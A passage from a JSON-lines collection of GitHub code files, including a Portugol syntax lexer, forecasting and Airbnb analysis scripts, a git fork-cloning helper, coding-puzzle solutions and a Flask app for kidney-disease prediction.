r'(?:\\s|//.*?\\n|/[*].*?[*]/)+'\n\n # The trailing ?, rather than *, avoids a geometric performance drop here.\n #: only one /* */ style comment\n _ws1 = r'\\s*(?:/[*].*?[*]/\\s*)?'\n\n tokens = {\n 'whitespace': [\n (r'\\n', Text),\n (r'\\s+', Text),\n (r'\\\\\\n', Text), # line continuation\n (r'//(\\n|[\\w\\W]*?[^\\\\]\\n)', Comment.Single),\n (r'/(\\\\\\n)?[*][\\w\\W]*?[*](\\\\\\n)?/', Comment.Multiline),\n # Open until EOF, so no ending delimeter\n (r'/(\\\\\\n)?[*][\\w\\W]*', Comment.Multiline),\n ],\n 'statements': [\n (r'(\")', bygroups(String), 'string'),\n (r\"(')(\\\\.|\\\\[0-7]{1,3}|\\\\x[a-fA-F0-9]{1,2}|[^\\\\\\'\\n])(')\",\n bygroups(String.Char, String.Char, String.Char)),\n (r'0x[0-9a-fA-F]+', Number.Hex),\n (r'\\d+', Number.Integer),\n (r'\\*/', Error),\n (r'[~%&*+!=|?<>/-]', Operator),\n (r'[()\\[\\],:.]', Punctuation),\n (words(('pare', 'caso', 'const', 'continue',\n 'faca', 'senao', 'para',\n 'se', 'retorne',\n 'escolha', 'enquanto'),\n suffix=r'\\b'), Keyword),\n (r'(logico|inteiro|real|caracter|vazio|cadeia)\\b',\n Keyword.Type),\n (words(('inclua', 'biblioteca', 'funcao', 'programa'),\n suffix=r'\\b'), Keyword.Reserved),\n (r'(verdadeiro|falso|ou|e|nao)\\b', Name.Builtin),\n (r'([a-zA-Z_]\\w*)(\\s*)(:)(?!:)',\n bygroups(Name.Label, Text, Punctuation)), # switch-case statements\n (r'[a-zA-Z_]\\w*', Name),\n ],\n 'root': [\n include('whitespace'),\n # function declarations\n (r'(funcao)' # reserved keyword funcao\n r'((?:[\\w*\\s])+?(?:\\s|[*]))' # return arguments\n r'([a-zA-Z_]\\w*)' # method name\n r'(\\s*\\([^;]*?\\))' # signature\n , bygroups(Keyword.Reserved, using(this), Name.Function, using(this), using(this))),\n default('statement'),\n ],\n 'statement': [\n include('whitespace'),\n include('statements'),\n ('[{}]', Punctuation),\n (';', Error),\n ],\n 'funcao': [\n include('whitespace'),\n include('statements'),\n (';', Error),\n (r'\\{', Punctuation, '#push'),\n (r'\\}', Punctuation, '#pop'),\n ],\n 'string': [\n (r'\"', String, '#pop'),\n (r'\\\\([\\\\abfnrtv\"\\']|x[a-fA-F0-9]{2,4}|'\n r'u[a-fA-F0-9]{4}|U[a-fA-F0-9]{8}|[0-7]{1,3})', String.Escape),\n (r'[^\\\\\"\\n]+', String), # all other characters\n (r'\\\\', String), # stray backslash\n ],\n }\n\n def __init__(self, **options):\n RegexLexer.__init__(self, **options)\n","repo_name":"hellmrf/pygments-portugol","sub_path":"pygments_portugol/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"36283272552","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 30 19:37:35 2023\n\n@author: yunbai\n\"\"\"\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport pandas as np\nimport matplotlib.ticker as ticker\n\n# read original data\ndataset = pd.read_excel('Tourism forecasting competition II dataset.xlsx',sheet_name='data for forecasting')\ndataset = dataset.set_index(dataset.iloc[:,0])\ndataset.index.names = ['Date']\ndataset = dataset.drop([dataset.columns[0]],axis=1)\n \n# creat a null df for filling the predictions\npreDf = pd.DataFrame()\npreDf['Date'] = ['2023M03','2023M04','2023M05','2023M06','2023M07',\n '2023M08','2023M09','2023M10','2023M11','2023M12','2024M01',\n '2024M02','2024M03','2024M04','2024M05','2024M06','2024M07']\npreDf = preDf.set_index('Date')\n\n# read forecasted data and intervals\nidx = ['2023M08','2023M09','2023M10','2023M11','2023M12','2024M01',\n '2024M02','2024M03','2024M04','2024M05','2024M06','2024M07']\nforecast = pd.read_csv('Results_avg_with_xixi.csv')\nquantile = pd.read_csv('Quantile_avg_with_xixi.csv')\nforecast.index,quantile.index = idx,idx\n\ndataset['Canada'].plot()\nforecast['Canada'].plot()\n\n\n# Sample data (replace this with your actual data)\ntime_series_data = [] # List of (country,time_series, predictions, prediction_intervals) tuples\ncountryList = list(dataset.columns)\nfor country in countryList:\n time_series_data.append((country,dataset[country],\n forecast[country],quantile[[country+'_0.1',country+'_0.9']]))\n\n# Define the colors for original data, predictions, and intervals\noriginal_data_color = 'black'\npredictions_color = 'red'\ninterval_color = 'gray'\n\n# Create a 5x4 grid of subplots\nnum_rows = 5\nnum_cols = 4\nfig, axs = plt.subplots(num_rows, num_cols, figsize=(15, 12))\n\n# Plot each time series in a separate subplot\nfor idx, (country, time_series, predictions, prediction_intervals) in enumerate(time_series_data):\n row = idx // num_cols\n col = idx % num_cols\n ax = axs[row, col]\n\n # Plot original data\n ax.plot(time_series.index, time_series, color=original_data_color, label='Original Data')\n\n # Plot predictions\n ax.plot(predictions.index, predictions, color=predictions_color, label='Point Forecasts')\n\n # Plot prediction intervals\n ax.fill_between(prediction_intervals.index, prediction_intervals[country+'_0.1'], prediction_intervals[country+'_0.9'],\n color=interval_color, alpha=0.3, label='Prediction Intervals')\n\n # Add a vertical line at the end of the original data\n last_data_index = time_series.index[-1]\n ax.axvline(x=last_data_index, color='gray')\n \n # Set subplot title (you can customize this as needed)\n ax.set_title(country)\n\n # Add legend to the subplot\n ax.legend()\n\n # Set the maximum number of x-axis ticks to 5\n ax.xaxis.set_major_locator(ticker.MaxNLocator(4))\n\n# Adjust layout and spacing between subplots\nplt.tight_layout()\n\n# Show the plot\nplt.show()","repo_name":"YunBAI-PSL/TourismForecasting2023","sub_path":"plot_results.py","file_name":"plot_results.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"15214904861","text":"#!/usr/bin/env python\nDESCRIP = \"Clone github fork, add upstream remote and main-master branch\"\nEPILOG = \\\n\"\"\"Clone github fork of some repo, add remote pointing to upstream, add\nmain-master branch. Typical use for cloning a repo to which you do not have\nwrite permission to upstream::\n\n forklone.py ipython ipython\n\nor for when you do have write permission::\n\n forklone.py nibabel nipy --upstream-w\n\n\"\"\"\n\nimport os\nfrom argparse import ArgumentParser, RawDescriptionHelpFormatter\nfrom subprocess import check_call, Popen, PIPE\n\ndef bt(cmd):\n proc = Popen(cmd, stdout=PIPE, stderr=PIPE, shell=True)\n out, err = proc.communicate()\n return out.strip()\n\n\ndef gh_url(user, reponame, mode='git'):\n if mode == 'git':\n fmt = 'git://github.com/{user}/{reponame}.git'\n elif mode == 'https-rw':\n fmt = 'https://{user}@github.com/{user}/{reponame}.git'\n elif mode == 'https-ro':\n fmt = 'https://github.com/{user}/{reponame}.git'\n elif mode == 'ssh':\n fmt = 'git@github.com:{user}/{reponame}.git'\n else:\n raise ValueError('Did not expect {0} as mode'.format(mode))\n return fmt.format(user=user, reponame=reponame)\n\n\ndef get_gh_user():\n cmd = 'git config github.user'\n return bt(cmd)\n\n\ndef main():\n parser = ArgumentParser(description=DESCRIP,\n epilog=EPILOG,\n formatter_class=RawDescriptionHelpFormatter)\n parser.add_argument('reponame', type=str,\n help='name of repository')\n parser.add_argument('upstream_user', type=str,\n help='name of github upstream user')\n parser.add_argument('--my-user', type=str,\n help='personal github user name')\n parser.add_argument('--upstream-w', action='store_true',\n help='whether upstream should be rw')\n parser.add_argument('--https', type=str, default = '',\n help=\"can be one of 'r', 'w', 'rw' to choose https as \"\n \"transport protocol for git\")\n args = parser.parse_args()\n reponame = args.reponame\n my_user = args.my_user\n if my_user is None:\n my_user = get_gh_user()\n if my_user == '':\n raise RuntimeError(\"You didn't specify --my-user and I couldn't \"\n \"get your github user from \"\n \"``git config github.user``;\\n\"\n \"Consider setting your github username with \"\n \"``git config --global github.user username``\")\n up_user = args.upstream_user\n w_proto = 'https-rw' if 'w' in args.https else 'ssh'\n r_proto = 'https-ro' if 'r' in args.https else 'git'\n fork_repo = gh_url(my_user, reponame, mode=w_proto)\n up_remote = 'origin'\n upstream_proto = w_proto if args.upstream_w else r_proto\n up_repo = gh_url(up_user, reponame, mode=upstream_proto)\n check_call('git clone --origin={0} {1}'.format(my_user, fork_repo), shell=True)\n os.chdir(reponame)\n check_call('git remote add {0} {1} --fetch'.format(up_remote, up_repo),\n shell=True)\n check_call('git checkout -b main-master -t {0}/master'.format(up_remote),\n shell=True)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"matthew-brett/myconfig","sub_path":"usr/bin/forklone.py","file_name":"forklone.py","file_ext":"py","file_size_in_byte":3290,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"15574724567","text":"'''\r\nSome people are standing in a row in a park. There are trees between them which cannot be moved. \r\nYour task is to rearrange the people by their heights in a non-descending order without moving \r\nthe trees. People can be very tall!\r\n\r\nExample\r\n\r\nFor a = [-1, 150, 190, 170, -1, -1, 160, 180], the output should be\r\nsolution(a) = [-1, 150, 160, 170, -1, -1, 180, 190].\r\n'''\r\n\r\ndef solution(a):\r\n b = []\r\n \r\n #get all the index where a[i]=-1\r\n tree_index=[]\r\n for i in range(len(a)):\r\n if a[i]==-1:\r\n tree_index.append(i)\r\n \r\n \r\n for j in range(len(a)):\r\n if a[j]!=-1:\r\n b.append(a[j])\r\n \r\n b.sort()\r\n \r\n for k in tree_index:\r\n b.insert(k,-1)\r\n \r\n return b","repo_name":"jeetswadia/CodeSignal","sub_path":"SortbyHeight.py","file_name":"SortbyHeight.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3662293671","text":"import urllib\nimport hidden\nimport oauth2 as oauth\n\ndef augment(url, parameters):\n secrets = hidden.oauth()\n consumer = oauth.Consumer(secrets['consumer_key'], secrets['consumer_secret'])\n token = oauth.Token(secrets['token_key'], secrets['token_secret'])\n oauth_request = oauth.Request.from_consumer_and_token(consumer, token=token,\n http_method='GET', http_url=url, parameters=parameters)\n oauth_request.sign_request(oauth.SignatureMethod_HMAC_SHA1(), consumer, token)\n return oauth_request.to_url()\n\n","repo_name":"ibrahim85/COURSERA","sub_path":"03_Python_to_Access_Web_Data/Week 5/twurl.py","file_name":"twurl.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37536920209","text":"import math\nimport sys\n\nchar_pairs = {\n '(': ')',\n '[': ']',\n '{': '}',\n '<': '>'\n}\n\nchar_scores = {\n ')': 1,\n ']': 2,\n '}': 3,\n '>': 4\n}\n\nautocompletion_scores = []\n\nfor line in sys.stdin:\n chunk_stack = []\n is_corrupt = False\n\n for char in line:\n if char in char_pairs.keys():\n chunk_stack.append(char_pairs[char])\n elif char in char_pairs.values():\n expected_char = chunk_stack.pop()\n\n if char != expected_char:\n # This line is corrupted, discard it\n is_corrupt = True\n break\n\n if is_corrupt:\n continue\n\n autocompletion_score = 0\n for completion_char in reversed(chunk_stack):\n autocompletion_score *= 5\n autocompletion_score += char_scores[completion_char]\n\n autocompletion_scores.append(autocompletion_score)\n\nautocompletion_scores.sort()\nmidpoint = len(autocompletion_scores) * 0.5\nprint(autocompletion_scores[int(midpoint)])\n","repo_name":"cycleseven/advent-2021","sub_path":"10/part_2.py","file_name":"part_2.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"29882686692","text":"# -*- coding: utf-8 -*-\n\n# 보스몬스터 전리품\n# 시간 : 2시간\n# 구현 아이디어 : BFS + sort\n# 처음에는 플레이어의 위치를 큐에 한 번에 넣어서 하려고 했지만, 해시를 써야하는 점과\n# 큐에서 한 플레이어가 이미 보스를 찾았음에도 계속 큐가 돌아갈 수 있다는 점 때문에 구현이 힘들다고 판단\n# 1) 두 해시 테이블 생성 player -> [플레이어 이름] : [좌표(i, j)], ht -> [플레이어 이름] : [보스까지 걸리는 시간, 플레이어의 dps]\n# 2) player 해시테이블에 있는 플레이어마다 bfs를 돌면서 ht 해시테이블을 갱신\n# 3) 시간을 오름차순으로 ht 해시테이블을 정렬\n# 4) while문을 돌면서 hp를 감소시키고 ans set에 보스를 잡을 때까지 보스까지 도착한 플레이어의 이름을 저장\nimport sys\nfrom collections import deque\ninput = sys.stdin.readline\nn, m, p = map(int, input().split())\nplayer = {} # 플레이어의 첫 위치 좌표\ng = [list(map(str, list(input().strip()))) for _ in range(n)]\nfor i in range(n):\n for j in range(m):\n if str.islower(g[i][j]):\n player[g[i][j]] = [i, j]\nht = {} # [플레이어의 보스몹까지의 최소거리, dps]\nfor i in range(p):\n id, dps = input().strip().split()\n ht[id] = [0, int(dps)]\nhp = int(input())\ndi = [1, -1, 0, 0]\ndj = [0, 0, 1, -1]\nans = set() # 전리품을 얻을 수 있는 플레이어 저장\n\ndef boundary(i, j):\n return 0 <= i < n and 0 <= j < m\n\ndef bfs(nowPlayer, i, j):\n q = deque()\n q.append([0, i, j])\n visited = [[0 for _ in range(m)] for _ in range(n)] # visited를 사용하지 않으면 메모리 초과..\n visited[i][j] = 1\n while q:\n t, i, j = q.popleft() # 걸리는 시간, 좌표(i, j)\n for k in range(4):\n ii = i + di[k]\n jj = j + dj[k]\n if boundary(ii, jj) and not visited[ii][jj]:\n visited[ii][jj] = 1\n # 보스를 찾았다면 종료\n if g[ii][jj] == 'B':\n ht[nowPlayer][0] = t + 1 # c : [1, 39]\n return\n # 벽이 아니라면 큐에 추가\n if g[ii][jj] != 'X':\n q.append([t + 1, ii, jj])\n\nfor k, v in player.items():\n i, j = v[0], v[1]\n bfs(k, i, j)\n# 시간을 줄이기 위해서 시간이 작은 플레이어를 기준으로 정렬\nht = sorted(ht.items(), key = lambda k : k[1])\n\ntotalTime = 1 # 전체 게임 시간\nwhile hp > 0:\n for i in range(p):\n playName, t, dps = ht[i][0][0], ht[i][1][0], ht[i][1][1]\n # 전체 게임 시간보다 작거나 같은 시간에 이미 도착한 플레이어는 set에 추가 후, hp 감소시키기\n # hp가 0이하가 될 때까지 반복\n if t <= totalTime:\n if not playName in ans:\n ans.add(playName)\n hp -= dps\n else:\n break\n totalTime += 1\nprint(len(ans))\n\n# Test Case\n# 1 3 1\n# aB.\n# a 15\n# 10\n\n# 1 4 2\n# aB.b\n# a 14\n# b 15\n# 15\n\n# 3 6 2\n# aXXXXB\n# .....b\n# ......\n# a 2\n# b 1\n# 7\n\n# 답 : 2\n\n# 3 6 2\n# aXXXXB\n# .....b\n# ......\n# a 2\n# b 1\n# 6\n\n# 답 : 1","repo_name":"Minny27/Algorithm","sub_path":"BOJ/구현+시뮬레이션/20005.py","file_name":"20005.py","file_ext":"py","file_size_in_byte":3167,"program_lang":"python","lang":"ko","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"30016597500","text":"import sys; sys.stdin = open('swea_11013_division.txt')\n\nTC = int(input())\nfor tc in range(1, TC+1):\n N = int(input())\n arr = list(map(int, input().split()))\n diff_lst = []\n\n for i in range(N-2):\n sec1 = sum(arr[:i+1])\n\n for j in range(i+1, N-1):\n sec2 = sum(arr[i+1:j+1])\n sec3 = sum(arr[j+1:])\n\n sector = [sec1, sec2, sec3]\n diff = max(sector)-min(sector)\n diff_lst.append(diff)\n\n result = min(diff_lst)\n print(f'#{tc} {result}')","repo_name":"jijisusu3/algorithm_study_2","sub_path":"김동희/0220_김동희/swea_11013_division.py","file_name":"swea_11013_division.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7996365104","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport csv\n\n\n# In[5]:\n\n\nl=[]\nwith open(\"Airbnb_UK_2022.csv\",'r') as csv_file:\n csv_reader=csv.reader(csv_file)\n for row in csv_reader:\n l.append(row)\n for col in row:\n print(col,end='\\t')\n print()\n\n\n# In[6]:\n\n\nl\n\n\n# In[15]:\n\n\ndef value_wise(col1,col2,col3,col4,col5,colwise,value):\n col1_index=l[0].index(col1)\n col2_index=l[0].index(col2)\n col3_index=l[0].index(col3)\n col4_index=l[0].index(col4)\n col5_index=l[0].index(col5)\n colwise_index=l[0].index(colwise)\n print(colwise,\" \",col1,\" \",col2,\" \",col3,\" \",col4,\" \",col5)\n print(\"-----------------------------------------------------------------------\")\n for i in l:\n if value==i[colwise_index]:\n print(i[colwise_index],\" \",i[col1_index],\" \",i[col2_index],\" \",i[col3_index],\" \",i[col4_index],\" \",i[col5_index])\n print()\n\n\n# In[16]:\n\n\nvalue_wise('name','host_name','description','host_location','host_since','host_id','60302')\n\n\n# In[17]:\n\n\nvalue_wise('host_name','property_type','price','minimum_nights','maximum_nights','host_location','London')\n\n\n# In[25]:\n\n\nvalue_wise('room_type', 'accommodates', 'bathrooms_text', 'bedrooms', 'beds','property_type','rental unit')\n\n\n# In[29]:\n\n\nvalue_wise( 'review_scores_rating', 'review_scores_accuracy','review_scores_cleanliness', 'review_scores_checkin', 'review_scores_location','host_location', 'London')\n\n\n# In[ ]:\n\n\n\n\n\n# In[1]:\n\n\nimport pandas as pd\nfrom warnings import filterwarnings\nfilterwarnings('ignore')\n\n\n# In[2]:\n\n\ndata1=pd.read_csv(\"Airbnb_UK_2022.csv\")\n\n\n# In[3]:\n\n\ndata1.head()\n\n\n# In[24]:\n\n\ndata1['property_type'].unique()\n\n\n# In[7]:\n\n\ndata=data1.copy()\n\n\n# In[8]:\n\n\ndata.shape\n\n\n# In[10]:\n\n\ndata.size\n\n\n# In[11]:\n\n\ndata.ndim\n\n\n# In[12]:\n\n\ndata.columns\n\n\n# In[47]:\n\n\ndata.info()\n\n\n# In[13]:\n\n\ndata.isnull().sum()\n\n\n# In[24]:\n\n\nimport ast\n\n\n# In[29]:\n\n\nli=[]\nfor i in range(len(data)):\n li.extend(ast.literal_eval(data['amenities'][i])) \n\n\n# In[30]:\n\n\nli\n\n\n# In[31]:\n\n\nfrom collections import Counter\n\n\n# In[33]:\n\n\ncount_amenities=Counter(li)\n\n\n# In[34]:\n\n\ncount_amenities\n\n\n# In[39]:\n\n\nsort_amenities=sorted(count_amenities.items(), key=lambda x:x[1], reverse=True)\n\n\n# In[41]:\n\n\nfor i in range(10):\n print(sort_amenities[i])\n \n\n\n# In[42]:\n\n\ndata.groupby(['host_location'])[['price']].mean()\n\n\n# In[43]:\n\n\ndata.groupby(['host_location'])[['review_scores_rating']].mean()\n\n\n# In[50]:\n\n\ndata.groupby(['host_location'])[['review_scores_checkin']].mean()\n\n\n# In[51]:\n\n\ndata.groupby(['room_type'])[['price']].mean()\n\n\n# In[5]:\n\n\nimport matplotlib.pyplot as plt\nimport seaborn as sb\n\n\n# In[55]:\n\n\ng=data['bedrooms'].value_counts()\n\n\n# In[59]:\n\n\nplt.pie(g,labels=g.index,autopct='%.2f%%')\nplt.title(\"Bedrooms proportion\",fontweight=\"bold\",fontsize=17)\nplt.show();\n\n\n# In[70]:\n\n\nplt.bar(data[\"room_type\"].value_counts().index,data[\"room_type\"].value_counts())\nplt.title(\"Count of room type\",fontweight=\"bold\",fontsize=17)\nplt.show();\n\n\n# In[8]:\n\n\nplt.scatter(data['accommodates'],data['price'],edgecolor =\"green\")\nplt.xlabel(\"accommodates\")\nplt.ylabel(\"Price\")\nplt.title(\"Accomodates VS Price\",fontweight=\"bold\",fontsize=17)\nplt.show();\n\n\n# In[143]:\n\n\nimport datetime\nfrom datetime import datetime\n\n\n# In[144]:\n\n\ntime_df=data[['host_since','price']]\ntime_df\n\n\n# In[145]:\n\n\nl=[]\nfor i in range(0,len(time_df)):\n l.append(time_df['host_since'][i].rsplit('-',1)[0]+'-20'+time_df['host_since'][i].rsplit('-',1)[-1])\n\n\n# In[146]:\n\n\nl\n\n\n# In[147]:\n\n\ntime_df[\"host_since1\"]=l\n\n\n# In[148]:\n\n\ntime_df\n\n\n# In[149]:\n\n\ntime_df.host_since1=pd.to_datetime(time_df.host_since1)\n\n\n# In[150]:\n\n\ntime_df.info()\n\n\n# In[153]:\n\n\ntime_df.drop(columns=\"host_since\",inplace=True)\n\n\n# In[154]:\n\n\ntime_df\n\n\n# In[159]:\n\n\ntime_df=time_df.sort_values(by=['host_since1']).groupby([\"host_since1\"])[[\"price\"]].sum().reset_index()\ntime_df\n\n\n# In[164]:\n\n\nt=1\nplt.figure(figsize=(22,10))\nfor i in ['2019','2020','2021','2022']:\n plt.subplot(2,2,t)\n time_df[time_df['host_since1'].dt.strftime('%Y') == i]['price'].plot()\n plt.title(i,fontweight=\"bold\",fontsize=17)\n t=t+1\n plt.tight_layout()\nplt.show();\n\n\n# In[165]:\n\n\ng=data['room_type'].value_counts()\nplt.pie(g,labels=g.index,autopct='%.2f%%')\nplt.title(\"room_type proportion\",fontweight=\"bold\",fontsize=17)\nplt.show();\n\n\n# In[14]:\n\n\nplt.scatter(data['review_scores_rating'],data['review_scores_accuracy'],edgecolor =\"green\")\nplt.xlabel(\"review_scores_rating\")\nplt.ylabel(\"review_scores_accuracy \")\nplt.title(\"review_scores_rating VS review_scores_accuracy \",fontweight=\"bold\",fontsize=17)\nplt.show();\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"SadikBasha23/Airbnb-assignment","sub_path":"ASSIGNMENT-1.py","file_name":"ASSIGNMENT-1.py","file_ext":"py","file_size_in_byte":4626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73919873425","text":"instance = None\n\nCHECK_LENGTH = 800 # 最多检查的字符数量\nREDUNDANCY_LENGTH = 10\n\n\nclass CodeStore:\n \"保存上一次给服务器发送的代码,服务器会维护一份一样的数据。 通过比较保存的数据和即将发送的数据,CodeStore避免发送相同的代码前缀部分,减少网络传输\"\n\n @staticmethod\n def getInstance():\n global instance\n if instance is None:\n instance = CodeStore()\n return instance\n\n def __init__(self):\n self.project = \"\" # 上次的项目,每次打开新项目的时候清空\n self.store = {} # 当前项目各个文件的缓存情况\n\n def getDiffPosition(self, fileID, content):\n \"\"\"获得即将发送内容和上次发送内容开始不同的下标,只发送下标往后的部分,下标本身作为offset参数发送\n fileID 文件id\n content 文件内容\n 内容开始不同的下标\"\"\"\n i = 0\n if fileID in self.store:\n lastSent = self.store[fileID]\n # lastSent: 1000 -> [201: 1000]\n # content: 1010 -> [201: 1010]\n initialI = min(len(lastSent) - CHECK_LENGTH,\n len(content) - CHECK_LENGTH)\n i = max(0, initialI)\n while i < len(content) and i < len(lastSent):\n if lastSent[i] != content[i]:\n break\n i += 1\n if i - initialI < 3:\n # 只匹配了两个或更少的字符\n i = 0\n return max(0, i - REDUNDANCY_LENGTH)\n\n def saveLastSent(self, project, fileID, content):\n \"\"\"发送成功之后,保存\n project 当前项目\n fileID 文件id\n content 文件内容\"\"\"\n if self.project is None or self.project != project:\n self.project = project\n self.store = {}\n self.store[fileID] = content\n\n def invalidateFile(self, project, fileID):\n \"\"\"删除一个文件的缓存\n @param project 当前项\n @param fileID 文件id\"\"\"\n if self.project is not None and self.project == project:\n del self.store[fileID]\n","repo_name":"Brolly0204/sublime-aiXcoder","sub_path":"codestore.py","file_name":"codestore.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30899681544","text":"import pandas as pd\r\nimport numpy as np\r\nfrom flask import Flask, request, render_template\r\nimport pickle\r\nimport time\r\n\r\n#Create an app object using the Flask class. \r\napp = Flask(__name__)\r\n\r\n#Load the trained model. (Pickle file)\r\nmodel = pickle.load(open('models/model.pkl', 'rb'))\r\n\r\n#Define the route to be home. \r\n#The decorator below links the relative route of the URL to the function it is decorating.\r\n#Here, home function is with '/', our root directory. \r\n#Running the app sends us to index.html.\r\n#Note that render_template means it looks for the file in the templates folder. \r\n\r\n#use the route() decorator to tell Flask what URL should trigger our function.\r\n@app.route('/')\r\ndef home():\r\n return render_template('index.html')\r\n\r\n#You can use the methods argument of the route() decorator to handle different HTTP methods.\r\n#GET: A GET message is send, and the server returns data\r\n#POST: Used to send HTML form data to the server.\r\n#Add Post method to the decorator to allow for form submission. \r\n#Redirect to /predict page with the output\r\n@app.route('/predict',methods=['post'])\r\ndef predict():\r\n \r\n # Get user input from the form\r\n name = request.form['name']\r\n bg = request.form['bg']\r\n sex = request.form['sex']\r\n age = float(request.form['age'])\r\n bp = float(request.form['bp'])\r\n sg = float(request.form['sg'])\r\n al = float(request.form['al'])\r\n su = float(request.form['su'])\r\n bgr = float(request.form['bgr'])\r\n bu = float(request.form['bu'])\r\n sc = float(request.form['sc'])\r\n sod = float(request.form['sod'])\r\n pot = float(request.form['pot'])\r\n hemo = float(request.form['hemo'])\r\n rbc = float(request.form['rbc'])\r\n pc = float(request.form['pc'])\r\n pcc = float(request.form['pcc'])\r\n ba = float(request.form['ba'])\r\n wc = float(request.form['wc'])\r\n htn = float(request.form['htn'])\r\n dm = float(request.form['dm'])\r\n cad = float(request.form['cad'])\r\n appet = float(request.form['appet'])\r\n pe = float(request.form['pe'])\r\n ane = float(request.form['ane'])\r\n\r\n start_time = time.time()\r\n prediction = model.predict([[age,bp,sg,al,su,bgr,bu,sc,sod,pot,hemo,rbc,pc,pcc,ba,wc,htn,dm,cad,appet,pe,ane]]) \r\n end_time = time.time()\r\n testing_time = end_time - start_time\r\n \r\n if rbc == 0:\r\n rbc = \"Abnormal\"\r\n else:\r\n rbc = \"Normal\"\r\n \r\n if pc == 0:\r\n pc = \"Abnormal\"\r\n else:\r\n pc = \"Normal\" \r\n \r\n if pcc == 0:\r\n pcc = \"Abnormal\"\r\n else:\r\n pcc = \"Normal\" \r\n \r\n if ba == 0:\r\n ba = \"Not Present\"\r\n else:\r\n ba = \"Present\" \r\n\r\n if htn == 0:\r\n htn = \"No\"\r\n else:\r\n htn = \"Yes\" \r\n \r\n if dm == 0:\r\n dm = \"No\"\r\n else:\r\n dm = \"Yes\" \r\n\r\n if cad == 0:\r\n cad = \"No\"\r\n else:\r\n cad = \"Yes\" \r\n\r\n if appet == 0:\r\n appet = \"Good\"\r\n else:\r\n appet = \"Poor\" \r\n \r\n if pe == 0:\r\n pe = \"No\"\r\n else:\r\n pe = \"Yes\" \r\n \r\n if ane == 0:\r\n ane = \"No\"\r\n else:\r\n ane = \"Yes\" \r\n \r\n \r\n if prediction == 0:\r\n result = \"No Kidney Disease\"\r\n color = 'green'\r\n status = 'Kidney Disease Negative'\r\n else:\r\n result = \"Kidney Disease\"\r\n color = 'red'\r\n status = 'Kidney Disease Positive'\r\n\r\n return render_template('result.html', name=name, bg=bg, sex=sex, age=age,bp=bp, result=result, color=color, status=status, sg=sg,al=al,su=su,bgr=bgr,bu=bu,sc=sc,sod=sod,pot=pot,hemo=hemo,rbc=rbc,pc=pc,pcc=pcc,ba=ba,wc=wc,htn=htn,dm=dm,cad=cad,appet=appet,pe=pe,ane=ane, testing_time= testing_time)\r\n\r\n\r\n\r\n#When the Python interpreter reads a source file, it first defines a few special variables. \r\n#For now, we care about the __name__ variable.\r\n#If we execute our code in the main program, like in our case here, it assigns\r\n# __main__ as the name (__name__). \r\n#So if we want to run our code right here, we can check if __name__ == __main__\r\n#if so, execute it here. \r\n#If we import this file (module) to another file then __name__ == app (which is the name of this python file).\r\n\r\nif __name__ == \"__main__\":\r\n app.run()\r\n","repo_name":"rajib1346/MLCkd-Web-App","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70262204625","text":"from tools import *\n\n#(4312628943026710128, 4, 20)\n\ndef run():\n\tv = [[0, 44, 44, 44, 44, 0, 0, 0, 0], [0, 32, 20, 0, 0, 0, 0, 0, 0], [0, 55, 55, 55, 55, 30, 20, 0, 0]]\n\n\tn = len(v)\n\tnb_p = n\n\tT2 = len(v[0]) - 1\n\t#marginal valuation for bidder 1\n\t#v[0] = vtype(\"custom\",T,vals=[T+1]*T)\n\t#marginal valuation for bidder 2\n\t#for i in range(1,n):\n\t#\tv[i] = vtype(\"custom\",T,vals=[T]*(T//(n-1))+[0]*(T-T//(n-1)))\n\t\n\t\n\t#Check that v1/v2 are non-increasing ?\n\t\n\tvf = [cumulative(v[i]) for i in range(n)]\n\t\n\t# for i in range(n):\n\t\t# print(v[i],vf[i])\n\t\n\tvalue,bids_t = sgpe2(vf,[4,2,6])\n\t\n\tcheck = [0]*(T2+1)\n\tfor i in range(T2+1):\n\t\tcheck[i] = {j:False for j in value[i]}\n\n\tfor i in range(T2):\n\t\tfor items in value[i]:\n\t\t\tif(check[i][items]):\n\t\t\t\tprint(\"Checked\",items)\n\t\t\telse:\n\t\t\t\twinner,bid,price = game(value,bids_t,n,T2, items, vf)\n\t\t\t\t\n\t\t\t\tfig = plt.figure()\n\t\t\t\tplt.title(str(items))\n\t\t\t\tfor k in range(n):\n\t\t\t\t\tplt.plot([bid[j][k] for j in range(i,T2)],'-o')\n\t\t\t\tplt.show()\n\t\t\t\t\n\t\t\t\tmat = [[0]*nb_p for j in range(nb_p)] #Matrice of marginal gain if p1 wins over p2\n\t\t\t\ts = \"\"\n\t\t\t\tfor p1 in range(nb_p):\n\t\t\t\t\tit_p1_win = next_it(items,p1)\n\t\t\t\t\tprint(p1,':',value[i+1].get(it_p1_win,[0]*nb_p))\n\t\t\t\t\tfor p2 in range(nb_p):\n\t\t\t\t\t\tit_p2_win = 